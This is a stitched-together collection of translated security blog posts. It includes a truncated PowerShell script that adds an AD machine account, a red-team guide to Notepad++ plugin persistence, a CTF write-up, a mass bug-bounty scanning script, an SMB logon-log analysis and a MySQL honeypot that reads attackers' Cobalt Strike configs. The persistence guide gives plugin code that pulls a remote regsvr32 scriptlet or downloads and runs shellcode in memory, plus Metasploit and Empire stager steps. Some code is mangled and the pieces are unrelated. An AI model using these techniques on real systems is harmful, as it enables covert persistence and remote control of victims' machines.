$Domain=$Domain.ToLower() FormatStatus 1 'Get Domain Name: $Domain' } } $_MachineAccount=$MachineAccount if($MachineAccount.EndsWith('$')) { $SAMAccountName=$_MachineAccount $_MachineAccount=$_MachineAccount.SubString(0,$_MachineAccount.Length - 1) } else { $SAMAccountName=$_MachineAccount + '$' } FormatStatus 1 'Get SAMAccountName: $SAMAccountName' $DistinguishedName='CN=$_MachineAccount,CN=Computers' $DC_array=$Domain.Split('.') ForEach($DC in $DC_array) { $DistinguishedName +=',DC=$DC' } FormatStatus 1 'Get DistinguishedName: $DistinguishedName' FormatStatus 1 'Start creating a machine account $MachineAccount' $identifier=New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389) $connection=New-Object System.DirectoryServices.Protocols.LdapConnection($identifier) $connection.SessionOptions.Sealing=$true $connection.SessionOptions.Signing=$true $connection.Bind() $request=New-Object -TypeName System.DirectoryServices.Protocols.AddRequest FormatStatus 1 'Set the DistinguishedName property of the $MachineAccount account to $DistinguishedName' $request.DistinguishedName=$DistinguishedName $request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'objectClass','Computer')) $null FormatStatus 1 'Set the DistinguishedName property of the $MachineAccount account to $SAMAccountName' $request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'SamAccountName',$SAMAccountName)) $null FormatStatus 1 'Set the userAccountControl property of the $MachineAccount account to 8192' $request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'userAccountControl','8192')) $null FormatStatus 1 'Register the DnsHostName of the $MachineAccount account as $_MachineAccount.$Domain' $request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'DnsHostName','$_MachineAccount.$Domain')) $null FormatStatus 1 'Start registering SPN for $MachineAccount account: HOST/$_MachineAccount.$Domain, RestrictedKrbHost/$_MachineAccount.$Domain' $request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'ServicePrincipalName','HOST/$_MachineAccount.$Domain','RestrictedKrbHost/$_MachineAccount.$Domain','HOST/$_MachineAccount','RestrictedKrbHost/$_MachineAccount','RestrictedKrbHost/$_MachineAccount')) $null FormatStatus 1 'Set the password for the $MachineAccount account to $Password' $request.Attributes.Add((New-Object 'System.DirectoryServices.Protocols.DirectoryAttribute' -ArgumentList 'unicodePwd',$PasswordClearText)) $null try { $connection.SendRequest($request) $null FormatStatus 1 'Create machine account $MachineAccount successfully' } catch { FormatStatus 0 '$($_.Exception.Message)' if($error_message -like '*Exception calling 'SendRequest' with '1' a
-
Title: Use Notepad++ custom plugin for permission maintenance
0x00 Preface Notepad++ is a popular Windows text editor that has extensions in plug-in mode. It is not uncommon in Windows environments, especially in hosts of developers and IT staff. In addition to providing the collection of important information for Red Team personnel, it can also be used as permission maintenance by using any plug-in that loads or scripts from remote commands. 0x01 Basic message box example The Notepad++ plug-in can be used to extend the functionality of Notepad++. By default, users can install the required plugins in the list of Notepad++ trusted plugins, but can also run the install custom plugins without any verification, giving developers the flexibility to use an extensible text editor. The plugin is in the form of a DLL file. To install a custom plugin, just put the DLL into %PROGRAMFILES%\Notepad++\plugins\pluginName\pluginName.dll. The benefit is that loading or activating the plugin does not require user interaction. The disadvantage is that local administrator permission is required to be written to the directory. It should be noted that in order to load the plugin, the folder name and DLL file name need to be the same. For Red Team personnel, there is no need to write malicious plugins from scratch, because the Notepad++ plugin package can be used as a modification template. When a specific event occurs, there are several APIs that can be used to perform any action. SCI_ADDTEXTAPI triggers a custom command when entering characters in notepad++. In the following example, a message box will pop up when a character is inserted. You can use https://github.com/kbilsted/NotepadPlusPluginPack.Net/blob/master/Visual%20Studio%20Project%20Template%20C%23/Main.cs Use the .NET template to modify the code under OnNotification The modified code of is as follows: class Main{ static bool ExecuteOnce=true; public static void OnNotification(ScNotification notification) { if (notification.Header.Code==(uint)SciMsg.SCI_ADDTEXT ExecuteOnce) { MessageBox.Show('Persistence via Notepad++ - Visit https://pentestlab.blog'); ExecuteOnce=!ExecuteOnce; } } Or: class Main{ static bool firstRun=true; public static void OnNotification(ScNotification notification) { if (notification.Header.Code==(uint)SciMsg.SCI_ADDTEXT firstRun) { using var process=Process.GetCurrentProcess(); MessageBox.Show($'Hello from {process.ProcessName} ({process.Id}).'); firstRun=!firstRun; } } Notepad++ Insert plugin message box example Compiling the code will generate a DLL file that needs to be run under super administrator privileges, as write permissions are required to write the plugin to the relevant subfolder. dir 'C:\Program Files\Notepad++\plugins\pentestlab' Notepad++ Plugin Location The next time you start Notepad++ and enter characters, a message box will pop up, showing that the code has been compiled and executed successfully. Notepad++ Execution successfully 0x02 MSF rebound example You can also execute fileless payloads to establish a communication channel. Here you can use the Windows Regsvr32 binary to load the execution script from a remote location. The Metasploit framework supports this utilization through the web delivery module. use exploit/multi/script/web_delivery set target 2 set payload windows/x64/meterpreter/reverse_tcp set LHOST 10.0.0.3 set LPORT 4444 Run can slightly modify the commands using the required parameters to execute regsvr32 classMain{ staticboolfirstRun=true;publicstaticvoidOnNotification(ScNotification notification){if(notification.Header.Code==(uint)SciMsg.SCI_ADDTEXT firstRun){stringstrCmdText;strCmdText='/s /n /u /i:http://10.0.0.3:8080/nHIcvfz6N.sctscrobj.dll';Process.Start('regsvr32', strCmdText);firstRun=!firstRun;}} Notepad++ Regsvr32 method Similarly, as in the initial example, when new characters are entered in Notepad++, the event that executes the command will be triggered Notepad++ Persistence Trigger Meterpreter will perform session monitoring and establish communication channels. Notepad++ Regsvr32 Meterpreter executes the following command to start interaction with the target host sessions sessions -i 1 pwd getuid Notepad++ Meterpreter shell 0x03 Empire rebound shell example In a similar way, Empire C2 can be used to generate various stager files. These files usually contain a base64 command that can be executed in the PowerShell process. The following is the stager method as an example: usestager windows/launcher_sct Empire Stager module stager should point to a listener that has been run in Empire, and executing the command will write the file to the "generated-stagers" folder. set Listener http execute Empire – Stager Configuration and Generation You can upload the generated launcher.sct file to the target system, and then execute it through the regsvr32 command or you can copy the base64 generated in the launcher.sct file, and use this command internally to avoid the software-killing check. Empire– PowerShell Base64 Payload Sample Code: classMain{ static bool ExecuteOnce=true;publicstaticvoidOnNotification(ScNotification notification){if(notification.Header.Code==(uint)SciMsg.SCI_ADDTEXT firstRun){stringstrCmdText;strCmdText='-noP -sta -w -l enc base64 command execution code';Process.Start('powershell', strCmdText);ExecuteOnce=!ExecuteOnce;}} Notepad++ – Plugin After the command is triggered by Empire Stager, a new interactive shell will appear in Empire. agents The commands of the Notepad++ EmpireEmpire module can also have information collection functions, such as screenshots of the host desktop and information such as username, connection string or URL. usemodule powershell/collection/screenshot set Agent notepad execute Notepad++ Empire screenshot Notepad++ screenshot 0x04 cobaltstike rebound shell example Replace MessageBox with shellcode to load through cobasltsike, the code is as follows: if (notification.Header.Code==(uint)SciMsg.SCI_ADDTEXT firstRun) { using var client=new WebClient(); var buf=client.DownloadData('http://172.19.215.47/shellcode'); var hMemory=VirtualAlloc( IntPtr.Zero, (uint)buf.Length, AllocationType.Reserve | AllocationType.Commit, MemoryProtection.ReadWrite); Marshal.Copy(buf, 0, hMemory, buf.Length); _=VirtualProtect( hMemory, (uint)buf.Length, MemoryProtection.ExecuteRead, out _); _=CreateThread( IntPtr.Zero, 0, hMemory, IntPtr.Zero, 0, out _); firstRun=!firstRun; } 0x05 Summary It should be noted that one disadvantage of this permission persistence technique is that the user requires the user to type characters and therefore may not receive a rebound shell frequently.
-
Title: 2022 Third "Net Ding Cup" Network Security Competition - Qinglong Group Some WriteUp
MISC Sign in question Eight multiple-choice questions in network security, Baidu can search for answers. If you only know the answers to some questions here, you can use enumeration to test the fuzz answers and get flags flag: flag{a236b34b-8040-4ea5-9e1c-97169aa3f43a} RE re693 Download the attachment directly and open it with golang Looking at the main function, you can find that two sentences will be printed, requiring input of a function with six parameters and the third is gLIhR, it is called three times and will be called to cHZv5op8rOmlAkb6. Input the first function, which has 6 parameters and the third named gLIhR: Enter the first function, it has 6 parameters, and the third is called gLIhR: Input the second function, which has 3 calls and invokes the function named cHZv5op8rOmlAkb6: Enter the second function, which has 3 callers and calls a function named cHZv5op8rOmlAkb6: Direct global search, the first function is, ZlXDJkH3OZN4Mayd, with 6 parameters The second function can first search cHZv5op8rOmlAkb6 globally to see which function will call this function, and then further search to see if the symbol meets the meaning of the question. The corresponding function is UhnCm82SDGE0zLYO There are 6, go out and yourself, and the two repeated judgments in the next time, then there are 3 calls Then look at the main function func main() { var nFAzj, CuSkl string jjxXf :=[]byte{ 37, 73, 151, 135, 65, 58, 241, 90, 33, 86, 71, 41, 102, 241, 213, 234, 67, 144, 139, 20, 112, 150, 41, 7, 158, 251, 167, 249, 24, 129, 72, 64, 83, 142, 166, 236, 67, 18, 211, 100, 91, 38, 83, 147, 40, 78, 239, 113, 232, 83, 227, 47, 192, 227, 70, 167, 201, 249, 156, 101, 216, 159, 116, 210, 152, 234, 38, 145, 198, 58, 24, 183, 72, 143, 136, 234, 246} KdlaH :=[]byte{ 191, 140, 114, 245, 142, 55, 190, 30, 161, 18, 200, 7, 21, 59, 17, 44, 34, 181, 109, 116, 146, 145, 189, 68, 142, 113, 0, 33, 46, 184, 21, 33, 66, 99, 124, 167, 201, 88, 133, 20, 211, 67, 133, 250, 62, 28, 138, 229, 105, 102, 125, 124, 208, 180, 146, 67, 39, 55, 240, 239, 203, 230, 142, 20, 90, 205, 27, 128, 136, 151, 140, 222, 92, 152, 1, 222, 138, 254, 246, 223, 224, 236, 33, 60, 170, 189, 77, 124, 72, 135, 46, 235, 17, 32, 28, 245} fmt.Print(MPyt9GWTRfAFNvb1(jjxXf)) fmt.Scanf('%20s', nFAzj) fmt.Print(kZ2BFvOxepd5ALDR(KdlaH)) fmt.Scanf('%20s', CuSkl) vNvUO :=GwSqNHQ7dPXpIG64(nFAzj) YJCya :='' mvOxK :=YI3z8ZxOKhfLmTPC(CuSkl) if mvOxK !=nil { YJCya=mvOxK() } if YJCya !='' vNvUO !='' { fmt.Printf('flag{%s%s}\n', vNvUO, YJCya) } } flag is divided into two sections, the first section is vNvUO, and the second section is YJCya The first function func GwSqNHQ7dPXpIG64(cJPTR string) string { YrXQd :=hex.EncodeToString([]byte(cJPTR)) return fmt.Sprintf('%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c', YrXQd[22], YrXQd[19], YrXQd[20], YrXQd[21], YrXQd[28], YrXQd[10], YrXQd[20], YrXQd[7], YrXQd[29], YrXQd[14], YrXQd[0], YrXQd[18], YrXQd[3], YrXQd[24], YrXQd[27], YrXQd[31]) } The first paragraph exp YrXQd=bytes.hex('ZlXDJkH3OZN4Mayd'.encode()) print(YrXQd[22], YrXQd[19], YrXQd[20], YrXQd[21], YrXQd[28], YrXQd[10], YrXQd[20], YrXQd[7], YrXQd[29], YrXQd[14], YrXQd[0], YrXQd[18], YrXQd[3], YrXQd[24], YrXQd[27], YrXQd[31], sep='') The second paragraph involves functions This part is a return function, and you need to call UhnCm82SDGE0zLYO func UhnCm82SDGE0zLYO() string { SythK :=[]byte{ 159, 141, 72, 106, 196, 62, 16, 205, 170, 159, 36, 232, 125, 239, 208, 3} var Vw2mJ, Nij87, zVclR string return cHZv5op8rOmlAkb6(SythK, Vw2mJ, Nij87, zVclR) } func cHZv5op8rOmlAkb6(HIGXt []byte, VGvny string, ZOkKV string, eU0uD string) string { QTk4l :=make([]byte, 20) Ek08m :=[16]byte{ 167, 238, 45, 89, 160, 95, 34, 175, 158, 169, 20, 217, 68, 137, 231, 54} for i :=0; i 16; i++ { QTk4l[i] +=Ek08m[i] ^ HIGXt[i] } return string(QTk4l) } The following several Vw2mJ, Nij87, zVcl, are invalid parameters exp: QTk4l=[0]*16 SythK=[159, 141, 72, 106, 196, 62, 16, 205, 170, 159, 36, 232, 125, 239, 208, 3] Ek08m=[167, 238, 45, 89, 160, 95, 34, 175, 158, 169, 20, 217, 68, 137, 231, 54] for i in range(16): QTk4l[i]=chr(Ek08m[i] ^ SythK[i]) for i in QTk4l: print(i,end='') Unexpectedly, the first one of the Go environments will be directly exited when the teammates runs, which is outrageous. flag: flag{3a4e76449355c4148ce3da2b46019f75} re694 was modified by magic, and FUK was modified to UPX, and it was normal to remove the shell. Then analyze Open IDA, find the keyword string, and then locate the key function Two key judgment functions, the first one goes in and finds whether it is 20 long, and then the input value is XOR0x66 The second judgment function is to add the first judged value to 10 and then XOR0x50, and then compare it with the number in dword_14001D000. That is $flag=((enc \oplus0x50)-10)\oplus0x66$ x=['4B', '48', '79', '13', '45', '30', '5C', '49', '5A', '79', '13', '70', '6D', '78', '13', '6F', '48', '5D', '64', '64'] for i in x: print(chr(((int(i, 16) ^0x50) - 10) ^0x66), end='') flag: flag{why_m0dify_pUx_SheLL} CRYPTO crypto091 According to the description and the paper mentioned therein, the hash value is sha256 of the phone number The first batch of China Unicom numbers for the number distribution in Section 170 starts with 1709, and can be directly blasted : x='c22a563acc2a587afbfaaaa6d67bc6e628872b00bd7e998873881f7c6fdc62fc' import hashlib n=b'861709' s=list('0123456789'.strip()) import itertools for i in itertools.product(s,repeat=7): d=''.join(i).encode() g=n+d if hashlib.sha256(g).hexdigest()==x: print(g) break # b'8617091733716' or crypto162 from secret import flag from hashlib import md5,sha256 from Crypto.Cipher import AES cof_t=[[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -9270, 28410], [338, -3690, 19608], [559, -2078, 44397], [534, -3438, 47830], [515, -2139, 39546], [603, -6460, 49953], [234, -6824, 12579], [805, -8793, 36465], [245, -5886, 21077], [190, -7658, 20396], [392, -7053, 19739], [609, -5399, 39959], [479, -8172, 45734], [321, -7102, 41224], [720, -4487, 11055], [208, -1897, 15237], [890, -4427, 35168], [513, -5106, 45849], [666, -1137, 23725], [755, -6732, 39995], [589, -6421, 43716], [866, -3265, 30017], [416, -6540, 34979], [840, -1305, 18242], [731, -6844, 13781], [561, -2728, 10298], [863, -5953, 23132], [204, -4208, 27492], [158, -8701, 12720], [802, -4740, 16628], [491, -6874, 29057], [531, -4829, 29205], [363, -4775, 41711], [319, -9206, 46164], [317, -9270, 18290], [680, -5136, 12009], [880, -2940, 34900], [162, -2587, 49881], [997, -5265, 20890], [485, -9395, 23048], [867, -1652, 18926], [691, -7844, 11180], [355, -5990, 13172], [923, -2018, 23110], [214, -4719, 23005], [921, -9528, 29351], [349, -7957, 20161], [470, -1889, 46170], [244, -6106, 23879], [419, -5440, 43576], [930, -1123, 29859], [151, -5759, 23405], [843, -6770, 36558], [574, -6171, 33778], [772, -1073, 44718], [932, -4037, 40088], [848, -5813, 27304], [194, -6016, 39770], [966, -6789, 14217], [219, -6849, 40922], [352, -6046, 18558], [794, -8254, 29748], [618, -5887, 15535], [202, -9288, 26590], [611, -4341, 46682], [155, -7909, 16654], [935, -5739, 39342], [998, -6538, 24363], [125, -5679, 36725], [507, -7074, 15475], [699, -5836, 47549]] defcal(i,cof): if i 3: return i+1 else: return cof[2]*cal(i-3,cof)+cof[1]*cal(i-2,cof)+cof[0]*cal(i-1,cof) s=0 for i inrange(100): s +=cal(200000,cof_t[i]) print(s) s=str(s)[-2000:-1000] key=md5(s).hexdigest().decode('hex') check=sha256(key).hexdigest() verify='2cf44ec396e3bb9ed0f2f3bdbe4fab6325ae9d9ec3107881308156069452a6d5' assert(check==verify) aes=AES.new(key,AES.MODE_ECB) data=flag + (16-len(flag)%16)*'\x00' print (aes.encrypt(data).encode('hex')) #4f12b3a3eadc4146386f4732266f02bd03114a404ba4cb2dabae213ecec451c9d52c70dc3d25154b5af8a304afafed87 According to the question tip, I thought of converting recursive formulas into matrices (refer to linear algebra to solve the general term formula of recursive sequences_wdq347's blog - CSDN blog) from hashlib import md5, sha256 from Crypto.Cipher import AES cof_t=[[353, -1162, 32767], [206, -8021, 42110], [262, -7088, 31882], [388, -6394, 21225], [295, -9469, 44468], [749, -3501, 40559], [528, -2690, 10210], [354, -5383, 18437], [491, -8467, 26892], [932, -6984, 20447], [731, -6281, 11340], [420, -5392, 44071], [685, -6555, 40938], [408, -8070, 47959], [182, -9857, 49477], [593, -3584, 49243], [929, -7410, 31929], [970, -4549, 17160], [141, -2435, 36408], [344, -3814, 18949], [291, -7457, 40587], [765, -7011, 32097], [700, -8534, 18013], [267, -2541, 33488], [249, -8934, 12321], [589, -9617, 41998], [840, -1166, 22814], [947, -5660, 41003], [206, -7195, 46261], [784, -92
-
Title: Create a fully automatic vulnerability bounty scanning tool
0x01 Description The platform used this time is: https://chaos.projectdiscovery.io/, which collects major foreign loophole bounty platforms. Currently, the asset scale is about 1600 0000~1800 0000, which is a terrible number, and it is increasing or decreasing every hour. It connects with a lot of third-party self-built bounty platforms, which is more than what we will collect on our own platform, and the probability of digging is also greater. 0x02 Automation Solution Process Use scripts to obtain all assets of the projectdiscovery platform. Asset reconnaissance and collection are handed over to projectdiscovery. Comparing the downloaded assets with the last Master domain data, determining whether there are new assets currently appear, if not, it ends, and waiting for the next cycle. If there is, extract the new assets, create a temporary file, and add the new assets to Masterdomain. Use naabu for port scanning, use the open port to verify, use httpx to verify, extract http surviving assets and send http surviving assets to nuclei for vulnerability scan, and also send to Xray. By default, use Xray's basic crawler function to scan common vulnerabilities. Save the scanning results of Xray to be xray-new-$(date +%F-%T).html, you can also add webhook mode to push nuclei vulnerability scan results at the same time and use notify to push real-time, and after scanning nuclei and xray, wait for the next loop. All of this is automatically executed. 0x03 Preparation Install these tools first, set up soft links, and can be used globally. The installation of these tools is very simple and will not be explained anymore. There is also an installation tutorial on github Centos7+ 64-bit configuration starting from 4H 4G [One server] chaospy [Asset detection, asset download] https://github.com/PhotonBolt/chaospyunzip [Decompression] anew [Filter duplication] https://github.com/tomnomnom/anewnaabu [Port scan] https://github.com/projectdiscovery/naabuhttpx [Survival detection] https://github.com/projectdiscovery/httpxnuclei [Vulnerability scan] https://nuclei.projectdiscovery.io/Xray [Vulnerability scan] https://download.xray.cool/python [WeChat Notification] notify [Vulnerability Notification] Notify's relatively mature push solution server recommends vultr. You can use my recommendation link: https://www.vultr.com/?ref=9059107-8H 0x04 About notify notification related configuration notify installation and configuration: https://github.com/projectdiscovery/notify Configuration file (create this file without it): /root/.config/notify/provider-config.yaml Just modify the notification configuration, for example, the notification I use is telegram and email (you can configure any one) Test results subfinder -d hackerone.com | notify -provider telegram I'm setting up a telegram notification. After the execution is completed, if the result can be received, then there is no problem with the notification. You can take the next step 0x05 Deployment Process Please make sure that the tools mentioned above are installed. Now let’s construct a sh script file. This script has done all the processes mentioned above. Name it : wadong.sh, add execution permissions: chmod +xwadong.sh The wadong.sh script mainly completes the functions of asset reconnaissance asset collection, port scanning, deduplication detection, survival detection, vulnerability scanning, and result notification script: #!/bin/bash # Use chaospy to download only bounty asset data #python3 chaospy.py --download-hackerone #python3 chaospy.py --download-rewards #Download all bounty assets #./chaospy.py --download-bugcrowd Download BugCrowd Assets #./chaospy.py --download-hackerone Download Hackerone Assets #./chaospy.py --download-intigriti Download Intigriti Assets #./chaospy.py --download-external Download self-custodial assets #./chaospy.py --download-swags Downloader Swags Assets #./chaospy.py --download-rewards Download rewarded assets #./chaospy.py --download-norewards Download assets without rewards #Decompress the downloaded ones, use awk to compare the results with the last one, and check whether there are any new ones if ls | grep '.zip' /dev/null; then unzip '*.zip' /dev/null cat *.txt newdomains.md rm -f *.txt awk 'NR==FNR{lines[$0];next} !($0 in lines)' alltargets.txtls newdomains.md domains.txtls rm -f newdomains.md ############################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################### echo 'Asset Scout End $(date +%F-%T)' | notify -silent -provider telegram echo 'Find the new domain $(wc -l domains.txtls)' | notify -silent -provider telegram ############################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################################### nuclei -silent -update nuclei -silent -ut rm -f *.zip else echo 'No new program found' | notify -silent -provider telegram fi if [ -s domains.txtls ];then echo 'Start scan new asset ports using naabu' | notify -silent -provider telegram fine_line=$(cat domains.txtls | wc -l ) num=1 K=10000 j=true F=0 while $j do echo $fine_line if [ $num -lt $fine_line ];then m=$(($num+$K)) sed -n ''$num','$m'p' domains.txtls domaint.txtls ((num=num+$m)) naabu -stats -l domain.txtls -p 80,443,8080,2053,2087,2096,8443,2083,2086,2095,8880,2052,2082,3443,8791,8887,8888,444,9443,2443,10000,10001,8082,8444,20000,8081,8445,8446,8447 -silent -o open-domain.txtls /dev/null | echo 'port scan' echo 'Port scan ends, start using httpx to detect survival' | notify -silent -provider telegram httpx -silent -stats -l open-domain.txtls -fl 0 -mc 200,302,403,404,204,303,400,401 -o newurls.txtls /dev/null echo 'httpx found a total of surviving assets $(wc -l newurls.txtls)' | notify -silent -provider telegram cat newurls.txtls new-active-$(date +%F-%T).txt #Save new asset record cat domaint.txtls alltargets.txtls echo 'The existence of a surviving asset has been added to the historical cache $(date +%F-%T)' | notify -silent -provider telegram echo 'Start using nuclei to scan new assets' | notify -silent -provider telegram cat newurls.txtls | nuclei -rl 300 -bs 35 -c 30 -mhe 10 -ni -o res-all-vulnerability-results.txt -stats -silent -severity critical,medium,high,low | notify -silent -provider telegram echo 'nuclei vulnerability scan ended' | notify -silent -provider telegram #Use xray scan, remember to match the webhook, delete this item if you don't, save it into a file #echo 'Start using xray to scan new assets' | notify -silent -provider telegram #xray_linux_amd64 webscan --url-file newurls.txtls --webhook-output http://www.qq.com/webhook --html-output xray-new-$(date +%F-%T).html #echo 'xray vulnerability scan has ended. Please go to the server to view the xray vulnerability report' | notify -silent -provider telegram rm -f open-domain.txtls rm -f domaint.txtls rm -f newurls.txtls else echo 'ssss' j=false sed -n ''$num','$find_line'p' domains.txtls domain.txtls naabu -stats -l domain.txtls -p 80,443,8080,2053,2087,2096,8443,2083,2086,2095,8880,2052,2082,3443,8791,8887,8888,444,9443,2443,10000,10001,8082,8444,20000,8081,8445,8446,8447 -silent -o open-domain.txtls /dev/null | echo 'port scan' echo 'Port scan ends, start using httpx to detect survival' | notify -silent -provider telegram httpx -silent -stats -l open-domain.txtls -fl 0 -mc 200,302,403,404,204,303,400,401 -o newurls.txtls /dev/null echo 'httpx found a total of surviving assets $(wc -l newurls.txtls)' | notify -silent -provider telegram cat newurls.txtls new-active-$(date +%F-%T).txt #Save new asset record cat domaint.txtls alltargets.txtls echo 'The existence of a surviving asset has been added to the historical cache $(date +%F-%T)' | notify -silent -provider telegram echo 'Start using nuclei to scan new assets' | notify -silent -provider telegram cat newurls.txtls | nuclei -rl 300 -bs 35 -c 30 -mhe 10 -ni -o res-all-vulnerability-results.txt -stats -silent -severity critical,medium,high,low | notify -silent -provider telegram echo 'nuclei vulnerability scan ended' | notify -silent -provider telegram #Use xray scan, remember to match the webhook, delete this item if you don't, save it into a file #echo 'Start using xray to scan new assets' | notify -silent -provider telegram #xray_linux_amd64 webscan --url-file newurls.txtls --webhook-output http://www.qq.com/webhook --html-output xray-new-$(date +%F-%T).html #echo 'xray vulnerability scan has ended. Please go to the server to view the xray vulnerability report' | notify -silent -provider telegram rm -f open-domain.txtls rm -f domaint.txtls rm -f newurls.txtls fi done rm -f domains.txtls else ######################################################################################################################### Send result to notify if no new domains found echo 'No new domain $(date +%F-%T)' | notify -silent -provider telegram fi Build a first.sh file, and the script can only be executed once, and it will not be used in the future. It is mainly used to generate historical cache domains for the first time and is marked as an old asset. Add execution permissions: chmod +x first.sh #!/bin/bash # Use chaospy to download only bounty asset data ./chaospy.py --download-new ./chaospy.py --download-rewards #Decompress the downloaded if ls | grep '.zip' /dev/null; then unzip '*.zip' /dev/null rm -f alltargets.txtls cat *.txt alltargets.txtls rm -f *.txt rm -f *.zip echo 'Find domain $(wc -l alltargets.txtls) and saved as cache file alltargets.txt' fi 0x06 Start bounty automation When ensuring that all the above tools are installed 1. Execute the first.sh script to generate enough cached domain names locally and mark them as old assets ./first.sh2, loop execution of bbautomation.sh script, sleep 3600 seconds, which is once every hour, that is, the script xunhuan.sh: #!/bin/bashwhile true; do ./wadong.sh;sleep 3600; done3.chaospy script has been roughly modified to optimize delayed scan time and error report#!/usr/bin/python3import requestsimport time,os,argparse#ColorsBlack='\033[30m'Red='\033[31m'Green='\033[32m'Yellow='\033[33m'Blue='\033[34m'Magenta='\033[35m'Cyan='\033[36m'LightGray='\033[37m'DarkGray='\033[90m'LightRed='\033[91m'LightGreen='\033[92m'LightYellow='\033[93m'LightBlue='\033[94m'LightMagenta='\033[95m'LightCyan='\033[96m'White='\033[97m'Default='\033[0m'banner=''' %s ___________ ____/____ _____///__ \/__ `/__ \/___////////////////////////////////////////////_/(__ ) _____//_//_//\___,////___,///____/%s Small Tool written based on chaos from projectdiscovery.io %s https://chaos.projectdiscovery.io/%s *Author - Moaaz (https://twitter.com/photonbo1t)* %s \n '''%(LightGreen,Yellow,DarkGray,DarkGray,Default)parser=argparse.ArgumentParser(description='ChaosPY Tool')parser.add_argument('-list',dest='list',help='List all programs',action='store_true')parser.add_argument('-list-bugcrowd',dest='list_bugcrowd',help='List BugCrowd programs',action='store_true')parser.add_argument('-list-hackerone',dest='list_hackerone',help='List Hackerone programs',action='store_true')parser.add_argument('--list-intigriti',dest='list_intigriti',help='List Intigriti programs',action='store_true')parser.add_argument('--list-external',dest='list_external',help='List Self Hosted programs',action='store_true')parser.add_argument('--list-swags',dest='list_swags',help='List programs Swags Offers',action='store_true')parser.add_argument('--list-rewards',dest='list_rewards',help='List programs with rewards',action='store_true')parser.add_argument('--list-norewards',dest='list_norewards',help='List programs with no rewards',action='store_true')parser.add_argument('--list-new',dest='list_new',help='List programs with no rewards',action='store_true')parser.add_argument('--list-new',dest='list_new',help='List new programs',action='store_true')parser.add_argument('--list-updated',dest
-
Title: Sharing of experience in SMB login event troubleshooting
1. Overview 1.1 Case Let’s take a look at two pictures first: the first impression when you see these two pictures should be that this is a successful login, its type is 3, which represents network login, and 4624 means successful login, which may be the case for most people. So what about it in fact? There is a certain ambiguity here. Today I will synchronize the detailed details here. 1.2 Principle When the user connects using the SMB protocol, before prompting the user for a password, it will use anonymous user (that is, anonymous user) to connect the SMB network, and once the network is recorded as a successful connection. The following conditions will cause this log to be generated: Login user is anonymous The login process is NTLMssp The usage protocol is NTLM V1 Login protocol is SMB 2. Test 2.1 SMB connection failure 2.1.1 Network name not found/access denied Directly use net use to initiate a connection for non-existent aaa$, and an error will be reported that the network name cannot be found. Using net use can also see that its connection is not successful: But let’s look at the log and we can see that it generates a log of 4624 type 3 for successful login. This only means that the user of anonymouse successfully logged into the network Using the correct directory path, but not entering the user will report an error and deny access. This status will also cause an anonymous user to log in successfully. Type 3 2.1.2 Incorrect username or password When logging in with incorrect account password, the user name or password is reported incorrect. In this case, there will be no anonymous login success log in the log, but the 4625 log will be displayed directly, and of course the logged-in user name will also be displayed. 2.2 SMB login successfully How does it perform in the log if you use the correct account secret for logging in? In addition to successful login for type 3, there will be 4776 (verification credentials) and 4672 (login permission allocation) shijian 3. Summary When an attacker uses SMB to connect, if the access path does not exist or the account does not exist, a 4624 log of anonymous user (anonymous user) will be generated, which does not mean that the machine has been logged in. 4624 does not necessarily mean that the attacker logs in successfully. It is necessary to combine the IP field, targetuser field, user and many other fields and look at the log context. System authorization sometimes generates a high alarm of 4624 (the above fields only represent the meaning, but the specific field name is complicated and cannot be remembered clearly)
-
Title: Mysql honeypot reads computer configuration files
There are too many articles on the Internet about the specific technical details of Mysql honeypot. You can search for articles online by yourself. I will write an introduction: There is a load data local infile function in mysql that can read local files into the mysql database. When an attacker scans our mysql password with a scanner that explodes mysql password and connects it (note, I will correct it here. Just connect mysql to mysql and you can read the local configuration file by the honeypot. There is no need to provide the correct username and password), the client (the attacker) will automatically initiate a query, and we (the server) will give a response. We add a load data local infile to the response packet to read the attacker's local file into our database to achieve the purpose of countermeasure. (The following pictures are from the Internet search) cs' configuration file plaintext storage password As long as you use the CSS client to connect to the computer that has used the CSS server, the CSS client will generate a .aggressor.prop configuration file in a fixed folder. If it is a Windows system, the file location is: C:\Users\Administrator\.aggressor.prop. This configuration file contains the IP address, port, username and password of CSS remote control, and it is all in plain text! As shown in the figure below: Every time you open the cs, you will display the IP address, port, username, password and other information you have logged in. These information are stored in the local .aggressor.prop file. The general content is shown in the figure below: Therefore, we came to the conclusion that we built a mysql honeypot. Once the attacker connects to the honeypot, the honeypot uses the msyql local file reading vulnerability to automatically read the content of the C:\Users\Administrator\.aggressor.prop file. The honeypot can successfully obtain the attacker's CCS server IP address, port, username and password. Successfully built an environmental experiment In order to verify the above guess, we still need to test it in practice. Find a mysql honeypot script written in python from github, and simply modify it locally, change the path of the file reading to C:\Users\Administrator\.aggressor.prop, and run the script. As shown in the figure below, a mysql honeypot listening to local port 3306 is built. In order to simulate the behavior of red team personnel connecting to mysql, use Navicat to remotely connect the IP address of this honeypot. (To emphasize again, there is no need to know the username and password of mysql. Enter an incorrect username and password. Mysql honeypot can also read local files) As shown in the figure below, the mysql honeypot gives the content of the base64 encrypted cs configuration file in the log file of the current directory. The result after Base64 is decrypted is as follows: 马云惹不起马云 The IP address, port, username and password obtained successfully were connected to the CSS server (the following pictures are from the Internet) Under Windows, the default configuration file for WeChat is 